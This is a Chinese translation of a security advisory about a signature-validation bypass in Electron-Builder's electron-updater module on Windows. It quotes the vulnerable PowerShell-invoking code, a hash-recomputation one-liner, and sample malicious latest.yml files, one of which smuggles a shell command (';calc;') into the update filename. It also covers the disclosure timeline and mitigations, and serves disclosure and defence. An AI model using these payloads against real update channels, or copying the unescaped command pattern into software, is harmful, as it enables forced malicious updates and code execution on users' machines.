Electron-Updater签名验证绕过导致远程代码执行漏洞分析

本文详细分析了Electron-Updater模块中的签名验证绕过漏洞,攻击者可通过精心构造的恶意更新文件实现远程代码执行,影响多个流行Electron应用。文章包含技术细节、漏洞利用方法和缓解措施。

Signature Validation Bypass Leading to RCE In Electron-Updater

2020年2月24日 - 作者:Lorenzo Stella

我们注意到,这篇博文中讨论的漏洞已被一位知名安全研究人员独立发现并公开披露。由于该安全问题现已公开,且距离我们最初向维护者披露已超过90天,我们决定公布详细信息——尽管Electron-Builder最新版本中的修复并未完全解决此安全缺陷。

Electron-Builder自称是"一个完整的解决方案,用于打包和构建具备开箱即用自动更新功能的可分发Electron应用"。对于macOS和Windows,还支持代码签名和验证。截至撰写时,该软件包每周下载量约为10万次,被约3.6万个项目使用,拥有超过8千个星标。

该软件通常用于为基于ElectronJs的应用程序构建特定平台包,并经常用于软件更新。自动更新功能由其electron-updater子模块提供,内部使用Squirrel.Mac(macOS)、NSIS(Windows)和AppImage(Linux)。特别地,它为Windows提供了双重代码签名方法(支持SHA1和SHA256哈希算法)。

失败开放设计

在为某客户进行安全评估期间,我们审查了Electron Builder执行的更新机制,发现整体缺乏安全编码实践。特别地,我们识别出一个可被利用来绕过签名验证检查的漏洞,从而导致远程命令执行。

electron-builder执行的签名验证检查仅仅基于已安装二进制文件的publisherName与更新二进制文件证书的Common Name属性之间的字符串比较。在软件更新期间,应用程序会向更新服务器请求名为latest.yml的文件,该文件包含新版本的定义——包括二进制文件名和哈希值。

为检索更新二进制文件的发布者,该模块执行以下代码,利用Microsoft.PowerShell.Security中的原生Get-AuthenticodeSignature cmdlet:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
execFile("powershell.exe", ["-NoProfile", "-NonInteractive", "-InputFormat", "None", "-Command", `Get-AuthenticodeSignature '${tempUpdateFile}' | ConvertTo-Json -Compress`], {
  timeout: 20 * 1000
}, (error, stdout, stderr) => {
  try {
    if (error != null || stderr) {
      handleError(logger, error, stderr)
      resolve(null)
      return
    }

    const data = parseOut(stdout)
    if (data.Status === 0) {
      const name = parseDn(data.SignerCertificate.Subject).get("CN")!
      if (publisherNames.includes(name)) {
        resolve(null)
        return
      }
    }

    const result = `publisherNames: ${publisherNames.join(" | ")}, raw info: ` + JSON.stringify(data, (name, value) => name === "RawData" ? undefined : value, 2)
    logger.warn(`Sign verification failed, installer signed with incorrect certificate: ${result}`)
    resolve(result)
  }
  catch (e) {
    logger.warn(`Cannot execute Get-AuthenticodeSignature: ${error}. Ignoring signature validation due to unknown error.`)
    resolve(null)
    return
  }
})

这转换为以下PowerShell命令:

1
powershell.exe -NoProfile -NonInteractive -InputFormat None -Command "Get-AuthenticodeSignature 'C:\Users\<USER>\AppData\Roaming\<vulnerable app name>\__update__\<update name>.exe' | ConvertTo-Json -Compress"

由于${tempUpdateFile}变量未经转义就提供给execFile实用程序,攻击者可通过在脚本中触发解析错误来绕过整个签名验证。这可以通过使用包含单引号的文件名,然后重新计算文件哈希以匹配攻击者提供的二进制文件(使用shasum -a 512 maliciousupdate.exe | cut -d " " -f1 | xxd -r -p | base64)轻松实现。

例如,恶意更新定义可能如下所示:

1
2
3
4
5
6
7
8
version: 1.2.3
files:
  - url: v’ulnerable-app-setup-1.2.3.exe
  sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZ[...]tkYPEvMxDWgNkb8tPCNZLTbKWcDEOJzfA==
  size: 44653912
path: v'ulnerable-app-1.2.3.exe
sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZr1[...]ZrR5X1kb8tPCNZLTbKWcDEOJzfA==
releaseDate: '2019-11-20T11:17:02.627Z'

当向易受攻击的Electron应用提供类似的latest.yml时,攻击者选择的安装程序将在没有警告的情况下运行。或者,他们可以利用缺乏转义来执行简单的命令注入:

1
2
3
4
5
6
7
8
version: 1.2.3
files:
  - url: v';calc;'ulnerable-app-setup-1.2.3.exe
  sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZ[...]tkYPEvMxDWgNkb8tPCNZLTbKWcDEOJzfA==
  size: 44653912
path: v';calc;'ulnerable-app-1.2.3.exe
sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZr1[...]ZrR5X1kb8tPCNZLTbKWcDEOJzfA==
releaseDate: '2019-11-20T11:17:02.627Z'

从攻击者的角度来看,更实际的做法是后门安装程序,然后利用现有的electron-updater功能(如isAdminRightsRequired)以管理员权限运行安装程序。

影响

攻击者可以利用这种失败开放设计强制Windows客户端进行恶意更新,有效获得代码执行和持久化能力。这可能在多种场景中实现,例如更新服务器的服务受损,或利用缺乏证书验证/固定对更新服务器进行高级MITM攻击。

披露时间线

Doyensec于2019年11月12日联系了主要项目维护者,提供了漏洞的完整描述和概念验证。经过多次催促后,于2020年1月7日收到回复,承认该错误但低估了风险。

同时(2019年11月12日),我们向多个使用易受攻击的electron-builder更新机制的流行Windows应用程序识别并报告了此问题,包括:

  • Wordpress for Desktop - v4.7.0版本仍然易受攻击
  • IOTA Trinity Wallet - Windows的自动更新功能已被禁用(#2566, #2588)
  • Alva - v0.9.2版本仍然易受攻击
  • MyMonero - v1.1.13版本仍然易受攻击
  • Cozy Drive - v3.19.0版本仍然易受攻击

2020年2月15日,我们注意到这篇博文中讨论的漏洞在Twitter上被讨论。2020年2月24日,我们收到软件包维护者的通知,称该问题已在v22.3.5版本中解决。虽然该补丁缓解了潜在的命令注入风险,但失败开放条件仍然存在,我们认为还存在其他攻击向量。在通知所有受影响方后,我们决定发布技术博文,强调使用Electron-Builder进行软件更新的风险。

缓解措施

尽管很受欢迎,但由于缺乏安全编码实践和维护者的响应能力,我们建议弃用Electron-Builder。

Electron Forge代表了一个潜在维护良好的替代方案,它利用了内置的Squirrel框架和Electron的autoUpdater模块。由于Squirrel.Windows也未实现签名验证,对于Windows上的强大签名验证,考虑将应用程序发布到Windows商店或将minisign纳入更新工作流。

请注意,使用Electron-Builder准备特定平台二进制文件不会使应用程序易受此问题影响,因为该漏洞仅影响electron-updater子模块。Linux和Mac包的更新也不受影响。

如果迁移到不同的软件更新机制不可行,请确保将Electron-Builder升级到最新可用版本。截至撰写时,我们相信同一易受攻击代码路径的其他攻击载荷仍然存在于Electron-Builder中。

更新服务器上的标准安全加固和监控很重要,因为需要完全访问此类系统才能利用该漏洞。最后,对连接到更新服务器的连接强制执行TLS证书验证和固定可以缓解MITM攻击场景。

致谢

此问题由Luca Carettoni和Lorenzo Stella发现和研究。我们要感谢ElectronJS安全工作组的Samuel Attard审阅此博文。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计